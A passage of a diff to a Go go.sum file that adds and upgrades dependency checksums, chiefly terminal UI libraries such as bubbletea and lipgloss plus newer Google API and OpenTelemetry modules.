github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs= github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= -github.com/charmbracelet/lipgloss v0.9.1 h1:PNyd3jvaJbg4jRHKWXnCj1akQm4rh8dbEzN1p/u1KWg= -github.com/charmbracelet/lipgloss v0.9.1/go.mod h1:1mPmG4cxScwUQALAAnacHaigiiHB9Pmr+v1VEawJl6I= +github.com/charmbracelet/bubbles v1.0.0 h1:12J8/ak/uCZEMQ6KU7pcfwceyjLlWsDLAxB5fXonfvc= +github.com/charmbracelet/bubbles v1.0.0/go.mod h1:9d/Zd5GdnauMI5ivUIVisuEm3ave1XwXtD1ckyV6r3E= +github.com/charmbracelet/bubbletea v1.3.10 h1:otUDHWMMzQSB0Pkc87rm691KZ3SWa4KUlvF9nRvCICw= +github.com/charmbracelet/bubbletea v1.3.10/go.mod h1:ORQfo0fk8U+po9VaNvnV95UPWA1BitP1E0N6xJPlHr4= +github.com/charmbracelet/colorprofile v0.4.1 h1:a1lO03qTrSIRaK8c3JRxJDZOvhvIeSco3ej+ngLk1kk= +github.com/charmbracelet/colorprofile v0.4.1/go.mod h1:U1d9Dljmdf9DLegaJ0nGZNJvoXAhayhmidOdcBwAvKk= +github.com/charmbracelet/lipgloss v1.1.0 h1:vYXsiLHVkK7fp74RkV7b2kq9+zDLoEU4MZoFqR/noCY= +github.com/charmbracelet/lipgloss v1.1.0/go.mod h1:/6Q8FR2o+kj8rz4Dq0zQc3vYf7X+B0binUUBwA0aL30= +github.com/charmbracelet/x/ansi v0.11.6 h1:GhV21SiDz/45W9AnV2R61xZMRri5NlLnl6CVF7ihZW8= +github.com/charmbracelet/x/ansi v0.11.6/go.mod h1:2JNYLgQUsyqaiLovhU2Rv/pb8r6ydXKS3NIttu3VGZQ= +github.com/charmbracelet/x/cellbuf v0.0.15 h1:ur3pZy0o6z/R7EylET877CBxaiE1Sp1GMxoFPAIztPI= +github.com/charmbracelet/x/cellbuf v0.0.15/go.mod h1:J1YVbR7MUuEGIFPCaaZ96KDl5NoS0DAWkskup+mOY+Q= +github.com/charmbracelet/x/exp/golden v0.0.0-20241011142426-46044092ad91 h1:payRxjMjKgx2PaCWLZ4p3ro9y97+TVLZNaRZgJwSVDQ= +github.com/charmbracelet/x/exp/golden v0.0.0-20241011142426-46044092ad91/go.mod h1:wDlXFlCrmJ8J+swcL/MnGUuYnqgQdW9rhSD61oNMb6U= +github.com/charmbracelet/x/term v0.2.2 h1:xVRT/S2ZcKdhhOuSP4t5cLi5o+JxklsoEObBSgfgZRk= +github.com/charmbracelet/x/term v0.2.2/go.mod h1:kF8CY5RddLWrsgVwpw4kAa6TESp6EB5y3uxGLeCqzAI= github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= github.com/chzyer/logex v1.2.1 h1:XHDu3E6q+gdHgsdTPH6ImJMIp436vR6MPtH8gP05QzM= github.com/chzyer/logex v1.2.1/go.mod h1:JLbx6lG2kDbNRFnfkgvh4eRJRPX1QCoOIWomwysCBrQ= @@ -129,6 +149,12 @@ github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMn github.com/chzyer/test v1.0.0 h1:p3BQDXSxOhOG0P9z6/hGnII4LGiEPOYBhs8asl/fC04= github.com/chzyer/test v1.0.0/go.mod h1:2JlltgoNkt4TW/z9V/IzDdFaMTM2JPIi26O1pF38GC8= github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= +github.com/clipperhouse/displaywidth v0.9.0 h1:Qb4KOhYwRiN3viMv1v/3cTBlz3AcAZX3+y9OLhMtAtA= +github.com/clipperhouse/displaywidth v0.9.0/go.mod h1:aCAAqTlh4GIVkhQnJpbL0T/WfcrJXHcj8C0yjYcjOZA= +github.com/clipperhouse/stringish v0.1.1 h1:+NSqMOr3GR6k1FdRhhnXrLfztGzuG+VuFDfatpWHKCs= +github.com/clipperhouse/stringish v0.1.1/go.mod h1:v/WhFtE1q0ovMta2+m+UbpZ+2/HEXNWYXQgCt4hdOzA= +github.com/clipperhouse/uax29/v2 v2.5.0 h1:x7T0T4eTHDONxFJsL94uKNKPHrclyFI0lm7+w94cO8U= +github.com/clipperhouse/uax29/v2 v2.5.0/go.mod h1:Wn1g7MK6OoeDT0vL+Q0SQLDz/KpfsVRgg6W7ihQeh4g= github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc= github.com/cncf/udpa/go v0.0.0-20200629203442-efcf912fb354/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= github.com/cncf/udpa/go v0.0.0-20201120205902-5459f2c99403/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= @@ -157,8 +183,9 @@ github.com/dgraph-io/ristretto v0.1.1 h1:6CWw5tJNgpegArSHpNHJKldNeq03FQCwYvfMVWa github.com/dgraph-io/ristretto v0.1.1/go.mod h1:S1GPSBCYCIhmVNfcth17y2zZtQT6wzkzgwUve0VDWWA= github.com/dgryski/go-farm v0.0.0-20190423205320-6a90982ecee2 h1:tdlZCpZ/P9DhczCTSixgIKmwPv6+wP5DGjqLYw5SUiA= github.com/dgryski/go-farm v0.0.0-20190423205320-6a90982ecee2/go.mod h1:SqUrOPUnsFjfmXRMNPybcSiG0BgUW2AuFH8PAnS2iTw= -github.com/dustin/go-humanize v1.0.0 h1:VSnTsYCnlFHaM2/igO1h6X3HA71jcobQuxemgkq4zYo= github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk= +github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY= +github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto= github.com/dvsekhvalnov/jose2go v1.7.0 h1:bnQc8+GMnidJZA8zc6lLEAb4xNrIqHwO+9TzqvtQZPo= github.com/dvsekhvalnov/jose2go v1.7.0/go.mod h1:QsHjhyTlD/lAVqn/NSbVZmSCGeDehTB/mPZadG+mhXU= github.com/emicklei/go-restful/v3 v3.11.0 h1:rAQeMHw1c7zTmncogyy8VvRZwtkmkZ4FxERmMY4rD+g= @@ -172,6 +199,8 @@ github.com/envoyproxy/go-control-plane v0.9.7/go.mod h1:cwu0lG7PUMfa9snN8LXBig5y github.com/envoyproxy/go-control-plane v0.9.9-0.20201210154907-fd9021fe5dad/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk= github.com/envoyproxy/go-control-plane v0.9.9-0.20210217033140-668b12f5399d/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk= github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= +github.com/erikgeiser/coninput v0.0.0-20211004153227-1c3628e74d0f h1:Y/CXytFA4m6baUTXGLOoWe4PQhGxaX0KpnayAqC48p4= +github.com/erikgeiser/coninput v0.0.0-20211004153227-1c3628e74d0f/go.mod h1:vw97MGsxSvLiUE2X8qFplwetxpGLQrlU1Q9AUEIzCaM= github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= github.com/fatih/color v1.17.0 h1:GlRw1BRJxkpqUCBKzKOw098ed57fEsKeNjpTe3cSjK4= github.com/fatih/color v1.17.0/go.mod h1:YZ7TlrGPkiz6ku9fK3TLD/pl3CpsiFyu8N92HLgmosI= @@ -227,8 +256,8 @@ github.com/gofrs/flock v0.8.1/go.mod h1:F1TvTiK9OcQqauNUHlbJvyl9Qa1QvF/gOUDKA14j github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q= github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q= github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= -github.com/golang/glog v1.2.0 h1:uCdmnmatrKCgMBlM4rMuJZWOkPDqdbZPnrMXDY4gI68= -github.com/golang/glog v1.2.0/go.mod h1:6AhwSGph0fcJtXVM/PEHPqZlFeoLxhs7/t5UDAwmO+w= +github.com/golang/glog v1.2.1 h1:OptwRhECazUx5ix5TTWC3EZhsZEHWcYWY4FQHTIubm4= +github.com/golang/glog v1.2.1/go.mod h1:6AhwSGph0fcJtXVM/PEHPqZlFeoLxhs7/t5UDAwmO+w= github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20191227052852-215e87163ea7/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= @@ -262,8 +291,9 @@ github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiu github.com/golang/protobuf v1.5.4 h1:i7eJL8qZTpSEXOPTxNKhASYpMn+8e5Q6AdndVa1dWek= github.com/golang/protobuf v1.5.4/go.mod h1:lnTiLA8Wa4RWRcIUkrtSVa5nRhsEGBg48fD6rSs7xps= github.com/golang/snappy v0.0.1/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= -github.com/golang/snappy v0.0.3 h1:fHPg5GQYlCeLIPB9BZqMVR5nR9A+IM5zcgeTdjMYmLA= github.com/golang/snappy v0.0.3/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= +github.com/golang/snappy v0.0.4 h1:yAGX7huGHXlcLOEtBnF4w7FQwA26wojNCwOYAEhLjQM= +github.com/golang/snappy v0.0.4/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= github.com/google/flatbuffers v1.12.1 h1:MVlul7pQNoDzWRLTw5imwYsl+usrS1TXG2H4jg6ImGw= @@ -304,20 +334,22 @@ github.com/google/pprof v0.0.0-20210226084205-cbba55b83ad5/go.mod h1:kpwsk12EmLe github.com/google/pprof v0.0.0-20250302191652-9094ed2288e7 h1:+J3r2e8+RsmN3vKfo75g0YSY61ms37qzPglu4p0sGro= github.com/google/pprof v0.0.0-20250302191652-9094ed2288e7/go.mod h1:vavhavw2zAxS5dIdcRluK6cSGGPlZynqzFM8NdvU144= github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI= -github.com/google/s2a-go v0.1.7 h1:60BLSyTrOV4/haCDW4zb1guZItoSq8foHCXrAnjBo/o= -github.com/google/s2a-go v0.1.7/go.mod h1:50CgR4k1jNlWBu4UfS4AcfhVe1r6pdZPygJ3R8F0Qdw= +github.com/google/s2a-go v0.1.8 h1:zZDs9gcbt9ZPLV0ndSyQk6Kacx2g/X+SKYovpnz3SMM= +github.com/google/s2a-go v0.1.8/go.mod h1:6iNWHTpQ+nfNRN5E00MSdfDwVesa8hhS32PhPO8deJA= github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= -github.com/googleapis/enterprise-certificate-proxy v0.3.2 h1:Vie5ybvEvT75RniqhfFxPRy3Bf7vr3h0cechB90XaQs= -github.com/googleapis/enterprise-certificate-proxy v0.3.2/go.mod h1:VLSiSSBs/ksPL8kq3OBOQ6WRI2QnaFynd1DCjZ62+V0= +github.com/googleapis/enterprise-certificate-proxy v0.3.4 h1:XYIDZApgAnrN1c855gTgghdIA6Stxb52D5RnLI1SLyw= +github.com/googleapis/enterprise-certificate-proxy v0.3.4/go.mod h1:YKe7cfqYXjKGpGvmSg28/fFvhNzinZQm8DGnaburhGA= github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg= github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk= -github.com/googleapis/gax-go/v2 v2.12.5 h1:8gw9KZK8TiVKB6q3zHY3SBzLnrGp6HQjyfYBYGmXdxA= -github.com/googleapis/gax-go/v2 v2.12.5/go.mod h1:BUDKcWo+RaKq5SC9vVYL0wLADa3VcfswbOMMRmB9H3E= +github.com/googleapis/gax-go/v2 v2.13.0 h1:yitjD5f7jQHhyDsnhKEBU52NdvvdSeGzlAnDPT0hH1s= +github.com/googleapis/gax-go/v2 v2.13.0/go.mod h1:Z/fvTZXF8/uw7Xu5GuslPw+bplx6SS338j1Is2S+B7A= github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1 h1:EGx4pi6eqNxGaHF6qqu48+N2wcFQ5qg5FXgOdqsJ5d8= github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY= +github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg= +github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= github.com/gosimple/slug v1.15.0 h1:wRZHsRrRcs6b0XnxMUBM6WK1U1Vg5B0R7VkIf1Xzobo= github.com/gosimple/slug v1.15.0/go.mod h1:UiRaFH+GEilHstLUmcBgWcI42viBN7mAb818JrYOeFQ= github.com/gosimple/unidecode v1.0.1 h1:hZzFTMMqSswvf0LBJZCZgThIZrpDHFXux9KeGmn6T/o= @@ -393,8 +425,10 @@ github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= -github.com/lucasb-eyer/go-colorful v1.2.0 h1:1nnpGOrhyZZuNyfu1QjKiUICQ74+3FNCN69Aj6K7nkY= -github.com/lucasb-eyer/go-colorful v1.2.0/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0= +github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc= +github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw= +github.com/lucasb-eyer/go-colorful v1.3.0 h1:2/yBRLdWBZKrf7gB40FoiKfAWYQ0lqNcbuQwVHXptag= +github.com/lucasb-eyer/go-colorful v1.3.0/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0= github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= github.com/magiconair/properties v1.8.5 h1:b6kJs+EmPFMYGkow9GiUyCyOvIwYetYJ3fSaWak/Gls= github.com/magiconair/properties v1.8.5/go.mod h1:y3VJvCyxH9uVvJTWEGAELF3aiYNyPKd5NZ3oSwXrF60= @@ -409,9 +443,11 @@ github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNx github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= +github.com/mattn/go-localereader v0.0.1 h1:ygSAOl7ZXTx4RdPYinUpg6W99U8jWvWi9Ye2JC/oIi4= +github.com/mattn/go-localereader v0.0.1/go.mod h1:8fBrzywKY7BI3czFoHkuzRoWE9C+EiG4R1k4Cjx5p88= github.com/mattn/go-runewidth v0.0.12/go.mod h1:RAqKPSqVFrSLVXbA8x7dzmKdmGzieGRCM46jaSJTDAk= -github.com/mattn/go-runewidth v0.0.15 h1:UNAjwbU9l54TA3KzvqLGxwWjHmMgBUVhBiTjelZgg3U= -github.com/mattn/go-runewidth v0.0.15/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= +github.com/mattn/go-runewidth v0.0.19 h1:v++JhqYnZuu5jSKrk9RbgF5v4CGUjqRfBm05byFGLdw= +github.com/mattn/go-runewidth v0.0.19/go.mod h1:XBkDxAl56ILZc9knddidhrOlY5R/pDhgLpndooCuJAs= github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg= github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc= github.com/mitchellh/copystructure v1.2.0 h1:vpKXTN4ewci03Vljg/q9QvCGUDttBOGBIa15WveJJGw= @@ -438,8 +474,10 @@ github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjY github.com/montanaflynn/stats v0.0.0-20171201202039-1bf9dbcd8cbe/go.mod h1:wL8QJuTMNUDYhXwkmfOly8iTdp5TEcJFWZD2D7SIkUc= github.com/mtibben/percent v0.2.1 h1:5gssi8Nqo8QU/r2pynCm+hBQHpkB/uNK7BJCFogWdzs= github.com/mtibben/percent v0.2.1/go.mod h1:KG9uO+SZkUp+VkRHsCdYQV3XSZrrSpR3O9ibNBTZrns= -github.com/muesli/ansi v0.0.0-20221106050444-61f0cd9a192a h1:jlDOeO5TU0pYlbc/y6PFguab5IjANI0Knrpg3u/ton4= -github.com/muesli/ansi v0.0.0-20221106050444-61f0cd9a192a/go.mod h1:CJlz5H+gyd6CUWT45Oy4q24RdLyn7Md9Vj2/ldJBSIo= +github.com/muesli/ansi v0.0.0-20230316100256-276c6243b2f6 h1:ZK8zHtRHOkbHy6Mmr5D264iyp3TiX5OmNcI5cIARiQI= +github.com/muesli/ansi v0.0.0-20230316100256-276c6243b2f6/go.mod h1:CJlz5H+gyd6CUWT45Oy4q24RdLyn7Md9Vj2/ldJBSIo= +github.com/muesli/cancelreader v0.2.2 h1:3I4Kt4BQjOR54NavqnDogx/MIoWBFa0StPA8ELUXHmA= +github.com/muesli/cancelreader v0.2.2/go.mod h1:3XuTXfFS2VjM+HTLZY9Ak0l6eUKfijIfMUZ4EgX0QYo= github.com/muesli/mango v0.1.0 h1:DZQK45d2gGbql1arsYA4vfg4d7I9Hfx5rX/GCmzsAvI= github.com/muesli/mango v0.1.0/go.mod h1:5XFpbC8jY5UUv89YQciiXNlbi+iJgt29VDC5xbzrLL4= github.com/muesli/mango-cobra v1.2.0 h1:DQvjzAM0PMZr85Iv9LIMaYISpTOliMEg+uMFtNbYvWg= @@ -450,8 +488,8 @@ github.com/muesli/reflow v0.3.0 h1:IFsN6K9NfGtjeggFP+68I4chLZV2yIKsXJFNZ+eWh6s= github.com/muesli/reflow v0.3.0/go.mod h1:pbwTDkVPibjO2kyvBQRBxTWEEGDGq0FlB1BIKtnHY/8= github.com/muesli/roff v0.1.0 h1:YD0lalCotmYuF5HhZliKWlIx7IEhiXeSfq7hNjFqGF8= github.com/muesli/roff v0.1.0/go.mod h1:pjAHQM9hdUUwm/krAfrLGgJkXJ+YuhtsfZ42kieB2Ig= -github.com/muesli/termenv v0.15.2 h1:GohcuySI0QmI3wN8Ok9PtKGkgkFIk7y6Vpb5PvrY+Wo= -github.com/muesli/termenv v0.15.2/go.mod h1:Epx+iuz8sNs7mNKhxzH4fWXGNpZwUaJKRS1noLXviQ8= +github.com/muesli/termenv v0.16.0 h1:S5AlUN9dENB57rsbnkPyfdGuWIlkmzJjbFf0Tf5FWUc= +github.com/muesli/termenv v0.16.0/go.mod h1:ZRfOIKPFDYQoDFF4Olj7/QJbW60Ol/kL1pU3VfY/Cnk= github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA= github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ= github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e/go.mod h1:zD1mROLANZcx1PVRCS0qkT7pwLkGfwJo4zjcN/Tysno= @@ -500,8 +538,9 @@ github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1: github.com/quic-go/quic-go v0.54.1 h1:4ZAWm0AhCb6+hE+l5Q1NAL0iRn/ZrMwqHRGQiFwj2eg= github.com/quic-go/quic-go v0.54.1/go.mod h1:e68ZEaCdyviluZmy44P6Iey98v/Wfz6HCjQEm+l8zTY= github.com/rivo/uniseg v0.1.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= -github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY= github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= +github.com/rivo/uniseg v0.4.7 h1:WUdvkW8uEhrYfLC4ZzdpI2ztxP1I582+49Oc5Mq64VQ= +github.com/rivo/uniseg v0.4.7/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88= github.com/rogpeppe/fastuuid v1.2.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6LYCDYWNEvQ= github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= github.com/rogpeppe/go-internal v1.12.0 h1:exVL4IDcn6na9z1rAb56Vxr+CgyK3nn3O+epU5NdKM8= @@ -515,6 +554,8 @@ github.com/russross/blackfriday v1.5.2/go.mod h1:JO/DiYxRf+HjHt06OyowR9PTA263kcR github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts= +github.com/sahilm/fuzzy v0.1.1 h1:ceu5RHF8DGgoi+/dR5PsECjCDH1BE3Fnmpo7aVXOdRA= +github.com/sahilm/fuzzy v0.1.1/go.mod h1:VFvziUEIMCrT6A6tw2RFIXPXXmzXbOsSHF0DOI8ZK9Y= github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc= github.com/shopspring/decimal v1.4.0 h1:bxl37RwXBklmTi0C79JfXCEBD1cqqHt0bbgBAGFp81k= github.com/shopspring/decimal v1.4.0/go.mod h1:gawqmDU56v4yIKSwfBSFip1HdCCXN8/+DMd9qYNcwME= @@ -586,6 +627,8 @@ github.com/x448/float16 v0.8.4/go.mod h1:14CWIYCyZA/cWjXOioeEpHeN/83MdbZDRQHoFcY github.com/xdg-go/pbkdf2 v1.0.0/go.mod h1:jrpuAogTd400dnrH08LKmI/xc1MbPOebTwRqcT5RDeI= github.com/xdg-go/scram v1.1.1/go.mod h1:RaEWvsqvNKKvBPvcKeFjrG2cJqOkHTiyTpzz23ni57g= github.com/xdg-go/stringprep v1.0.3/go.mod h1:W3f5j4i+9rC0kuIEJL0ky1VpHXQU3ocBgklLGvcBnW8= +github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e h1:JVG44RsyaB9T2KIHavMF/ppJZNG9ZpyihvCd0w101no= +github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e/go.mod h1:RbqR21r5mrJuqunuUZ/Dhy/avygyECGrLceyNeo4LiM= github.com/xordataexchange/crypt v0.0.3-0.20170626215501-b2862e3d0a77/go.mod h1:aYKd//L2LvnjZzWKhF00oedf4jCCReLcmhLdhm1A27Q= github.com/xtgo/uuid v0.0.0-20140804021211-a0b114877d4c h1:3lbZUMbMiGUW/LMkfsEABsc5zNT9+b1CvsJx47JzJ8g= github.com/xtgo/uuid v0.0.0-20140804021211-a0b114877d4c/go.mod h1:UrdRz5enIKZ63MEE3IF9l2/ebyx59GyGgPi+tICQdmM= @@ -613,16 +656,16 @@ go.opencensus.io v0.22.5/go.mod h1:5pWMHQbX5EPX2/62yrJeAkowc+lfs/XD7Uxpq3pI6kk= go.opencensus.io v0.23.0/go.mod h1:XItmlyltB5F7CS4xOC1DcqMoFqwtC6OG2xF7mCv7P7E= go.opencensus.io v0.24.0 h1:y73uSU6J157QMP2kn2r30vwW1A2W2WFwSCGnAVxeaD0= go.opencensus.io v0.24.0/go.mod h1:vNK8G9p7aAivkbmorf4v+7Hgx+Zs0yY+0fOtgBfjQKo= -go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.49.0 h1:4Pp6oUg3+e/6M4C0A/3kJ2VYa++dsWVTtGgLVj5xtHg= -go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.49.0/go.mod h1:Mjt1i1INqiaoZOMGR1RIUJN+i3ChKoFRqzrRQhlkbs0= -go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.49.0 h1:jq9TW8u3so/bN+JPT166wjOI6/vQPF6Xe7nMNIltagk= -go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.49.0/go.mod h1:p8pYQP+m5XfbZm9fxtSKAbM6oIllS7s2AfxrChvc7iw= -go.opentelemetry.io/otel v1.24.0 h1:0LAOdjNmQeSTzGBzduGe/rU4tZhMwL5rWgtp9Ku5Jfo= -go.opentelemetry.io/otel v1.24.0/go.mod h1:W7b9Ozg4nkF5tWI5zsXkaKKDjdVjpD4oAt9Qi/MArHo= -go.opentelemetry.io/otel/metric v1.24.0 h1:6EhoGWWK28x1fbpA4tYTOWBkPefTDQnb8WSGXlc88kI= -go.opentelemetry.io/otel/metric v1.24.0/go.mod h1:VYhLe1rFfxuTXLgj4CBiyz+9WYBA8pNGJgDcSFRKBco= -go.opentelemetry.io/otel/trace v1.24.0 h1:CsKnnL4dUAr/0llH9FKuc698G04IrpWV0MQA/Y1YELI= -go.opentelemetry.io/otel/trace v1.24.0/go.mod h1:HPc3Xr/cOApsBI154IU0OI0HJexz+aw5uPdbs3UCjNU= +go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.54.0 h1:r6I7RJCN86bpD/FQwedZ0vSixDpwuWREjW9oRMsmqDc= +go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.54.0/go.mod h1:B9yO6b04uB80CzjedvewuqDhxJxi11s7/GtiGa8bAjI= +go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.54.0 h1:TT4fX+nBOA/+LUkobKGW1ydGcn+G3vRw9+g5HwCphpk= +go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.54.0/go.mod h1:L7UH0GbB0p47T4Rri3uHjbpCFYrVrwc1I25QhNPiGK8= +go.opentelemetry.io/otel v1.29.0 h1:PdomN/Al4q/lN6iBJEN3AwPvUiHPMlt93c8bqTG5Llw= +go.opentelemetry.io/otel v1.29.0/go.mod h1:N/WtXPs1CNCUEx+Agz5uouwCba+i+bJGFicT8SR4NP8= +go.opentelemetry.io/otel/metric v1.29.0 